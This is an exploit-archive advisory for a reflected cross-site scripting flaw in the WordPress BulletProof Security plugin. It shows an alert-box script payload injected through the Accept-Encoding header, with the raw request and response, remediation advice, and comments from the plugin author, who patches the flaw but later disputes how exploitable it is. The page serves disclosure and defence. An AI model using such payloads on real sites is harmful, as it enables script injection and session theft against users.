exploit the possibilities

WordPress BulletProof Security Cross Site Scripting

WordPress BulletProof Security Cross Site Scripting
Posted May 11, 2012
Authored by SiNA Rabbani

The WordPress BulletProof Security plugin suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | dee59fef8f9994fec18f71fd16c87931

WordPress BulletProof Security Cross Site Scripting

Change Mirror Download
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Hash: SHA1

Wordpress Security audit
BulletProof Security

1. Cross-site scripting (reflected)

Summary

Severity: High
Confidence: Certain
Host: http://127.0.0.1
Path: /wp-admin/admin.php?page=bulletproof-security/admin/options.php

Issue detail

The value of the Accept-Encoding HTTP header is copied into the HTML
document as plain text between tags. The payload
a7123<script>alert(1)</script>78089b4648b was submitted in the
Accept-Encoding HTTP header. This input was echoed unmodified in the
application's response.

This proof-of-concept attack demonstrates that it is possible to
inject arbitrary JavaScript into the application's response.
Issue background Reflected cross-site scripting vulnerabilities arise
when data is copied from a request and echoed into the application's
immediate response in an unsafe way. An attacker can use the
vulnerability to construct a request which, if issued by another
application user, will cause JavaScript code supplied by the attacker
to execute within the user's browser in the context of that user's
session with the application.

The attacker-supplied code can perform a wide variety of actions, such
as stealing the victim's session token or login credentials,
performing arbitrary actions on the victim's behalf, and logging their
keystrokes.

Users can be induced to issue the attacker's crafted request in
various ways. For example, the attacker can send a victim a link
containing a malicious URL in an email or instant message. They can
submit the link to popular web sites that allow content authoring, for
example in blog comments. And they can create an innocuous looking web
site which causes anyone viewing it to make arbitrary cross-domain
requests to the vulnerable application (using either the GET or the
POST method).

The security impact of cross-site scripting vulnerabilities is
dependent upon the nature of the vulnerable application, the kinds of
data and functionality which it contains, and the other applications
which belong to the same domain and organisation. If the application
is used only to display non-sensitive public content, with no
authentication or access control functionality, then a cross-site
scripting flaw may be considered low risk. However, if the same
application resides on a domain which can access cookies for other
more security-critical applications, then the vulnerability could be
used to attack those other applications, and so may be considered high
risk. Similarly, if the organisation which owns the application is a
likely target for phishing attacks, then the vulnerability could be
leveraged to lend credibility to such attacks, by injecting Trojan
functionality into the vulnerable application, and exploiting users'
trust in the organisation in order to capture credentials for other
applications which it owns. In many kinds of application, such as
those providing online banking functionality, cross-site scripting
should always be considered high risk.
Issue remediation In most situations where user-controllable data is
copied into application responses, cross-site scripting attacks can be
prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given
the kind of content which it is expected to contain. For example,
personal names should consist of alphabetical and a small range of
typographical characters, and be relatively short; a year of birth
should consist of exactly four numerals; email addresses should match
a well-defined regular expression. Input which fails the validation
should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into
application responses. All HTML metacharacters, including < > " ' and
=, should be replaced with the corresponding HTML entities (< >
etc).

In cases where the application's functionality allows users to author
content using a restricted subset of HTML tags and attributes (for
example, blog comments which allow limited formatting and linking), it
is necessary to parse the supplied HTML to validate that it does not
use any dangerous syntax; this is a non-trivial task.

Request
GET /wp-admin/admin.php?page=bulletproof-security/admin/options.php
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflatea7123<script>alert(1)</script>78089b4648b
Proxy-Connection: keep-alive
Referer:
http://127.0.0.1/wp-admin/options-general.php?page=custom-field-template.php
Cookie:
wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9;
bb2_screener_=1334010184+127.0.0.1;
PHPSESSID=r0pobhl4p21uu57ek6lpdabr76;
wordpress_test_cookie=WP+Cookie+check;
wp-settings-1=widgets_access%3Doff%26uploader%3D127;
wp-settings-time-1=1334005698;
wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a
Pragma: no-cache
Cache-Control: no-cache

Response
HTTP/1.1 200 OK
Date: Mon, 09 Apr 2012 22:25:01 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.6
Set-Cookie: bb2_screener_=1334010301+127.0.0.1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Mon, 09 Apr 2012 22:25:01 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 167804
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" dir="ltr"
lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<!--<![endif]-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>BulletProof Security ~ htaccess Core &lsaquo; redteam-wp
— WordPress</title>
...[SNIP]...
<tr>
<td class="bps-table_cell">Browser Compression Supported:
<strong>gzip, deflatea7123<script>alert(1)</script>78089b4648b</td>
<td>&nbsp;</td>
<td class="bps-table_cell">&nbsp;</td>
</tr>
<tr>
...[SNIP]...

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Comments (6)

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aitpro

Hello,

I am the BulletProof Security plugin author and i have tried to recreate this scenario that you are stating is an exploit and I am unable to recreate this exploit scenario. BPS is forbidding all actions to use script tags either from wp-admin or from an external non-logged in approach because the script tags are explicitly forbidden in the .htaccess file security filters.

RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]

Please contact me directly at edward[at]ait-pro[dot]com to discuss this further. I may be missing some additional factor that you are using in your pen / exploit testing.

Thank you,
Ed

Comment by aitpro
2012-05-11 17:47:52 UTC | Permalink | Reply
aitpro

Actually this is valid and i am taking care of it right now. A new patched version of BulletProof Security will be released in one hour. Thank you for discovering this.

Best Regards,
Ed

Comment by aitpro
2012-05-11 18:23:02 UTC | Permalink | Reply
aitpro

Thank you again for discovering this SiNA. Acknowledgement of your finding has been added to the BPS Changelog and Readme.txt files. A new patched version of BPS has been released - .47.1.
wordpress.org/extend/plugins/bull…

Best Regards,
Ed

Comment by aitpro
2012-05-11 19:17:40 UTC | Permalink | Reply
aitpro

Several people have now asked me about this after seeing this post.
To answer your questions:
This was only a very minor coding error where a single Super Global did not have it's special HTML characters converted to safe HTML entities.
The chances of this very minor limited exploit actually being exploited where somewhere around 100,000 to 1 with very limited potential in the case of a successful exploit.
No websites were exploited out of over 250,000 installations of BPS and BPS Pro.
Yes, BPS and BPS Pro had a coding correction implemented within one hour of this issue being reported - new patched version releases of both BPS and BPS Pro were released ASAP.
Thank you.

Comment by aitpro
2012-05-23 14:31:01 UTC | Permalink | Reply
aitpro

Looks like this issue is now posted on several other sites so I feel it is necessary to point out a couple of very important points. I actually do not feel that this test was performed under the testing conditions that would completely validate this test.

When trying to access the wp-admin password protected authentication directory from an external source the Response will not be 200 and will of course be 302 redirect as only an authenticated administrator of the site would be able to access the wp-admin directory - as shown below.

This Cross-site scripting (reflected) test was done from the same local site - 127.0.0.1 - the Host and Referrer are the same site and in order to get a 200 Response code the test would have have to have been performed by an administrator that had successfully authenticated to this site - 127.0.0.1.

I can successfully deliver this payload as well in testing, but ONLY when I am authenticated to the same testing site as the administrator of the testing site. When i am not authenticated as an administrator to the site and also when trying to deliver a payload from a different Host and Referrer the payload is NOT delivered successfully. Therefore i do not feel that this test is actually valid.

"The value of the Accept-Encoding HTTP header is copied into the HTML
document as plain text between tags. The payload
a7123<script>alert(1)</script>78089b4648b was submitted in the
Accept-Encoding HTTP header. This input was echoed unmodified in the
application's response."

----------------------------------------------------------
www.ait-pro.com/aitpro-blog/wp-admi…

GET /aitpro-blog/wp-admin/admin.php?page=bulletproof-security/admin/options.php HTTP/1.1
Host: www.ait-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 AlexaToolbar/alxf-2.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: __utma=261897885.2146485800.1333654778.1344218343.1345012459.26; __utmz=261897885.1342885082.24.15.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=ait-pro; __utmb=261897885.6.9.1345012701317; __utmc=261897885; PHPSESSID=ekp9c3mh8r66vi6hi4rkcrv2d4
Connection: keep-alive

HTTP/1.1 302 Moved Temporarily
Date: Wed, 15 Aug 2012 06:40:12 GMT
Server: Apache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 15 Aug 2012 06:41:12 GMT
Location: www.ait-pro.com/aitpro-blog/login/?…
Vary: User-Agent,Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Comment by aitpro
2012-08-15 07:04:27 UTC | Permalink | Reply
aitpro

Looks like this issue is now posted on several other sites so I feel it is necessary to point out a couple of very important points. I actually do not feel that this test was performed under the testing conditions that would completely validate this test.

When trying to access the wp-admin password protected authentication directory from an external source the Response will not be 200 and will of course be 302 redirect as only an authenticated administrator of the site would be able to access the wp-admin directory - as shown below.

This Cross-site scripting (reflected) test was done from the same local site - 127.0.0.1 - the Host and Referrer are the same site and in order to get a 200 Response code the test would have have to have been performed by an administrator that had successfully authenticated to this site - 127.0.0.1.

I can successfully deliver this payload as well in testing, but ONLY when I am authenticated to the same testing site as the administrator of the testing site. When i am not authenticated as an administrator to the site and also when trying to deliver a payload from a different Host and Referrer the payload is NOT delivered successfully. Therefore i do not feel that this test is actually valid.

"The value of the Accept-Encoding HTTP header is copied into the HTML
document as plain text between tags. The payload
a7123<script>alert(1)</script>78089b4648b was submitted in the
Accept-Encoding HTTP header. This input was echoed unmodified in the
application's response."

----------------------------------------------------------
www.ait-pro.com/aitpro-blog/wp-admi…

GET /aitpro-blog/wp-admin/admin.php?page=bulletproof-security/admin/options.php HTTP/1.1
Host: www.ait-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 AlexaToolbar/alxf-2.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: __utma=261897885.2146485800.1333654778.1344218343.1345012459.26; __utmz=261897885.1342885082.24.15.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=ait-pro; __utmb=261897885.6.9.1345012701317; __utmc=261897885; PHPSESSID=ekp9c3mh8r66vi6hi4rkcrv2d4
Connection: keep-alive

HTTP/1.1 302 Moved Temporarily
Date: Wed, 15 Aug 2012 06:40:12 GMT
Server: Apache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 15 Aug 2012 06:41:12 GMT
Location: www.ait-pro.com/aitpro-blog/login/?…
Vary: User-Agent,Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Comment by aitpro
2012-08-15 07:05:12 UTC | Permalink | Reply
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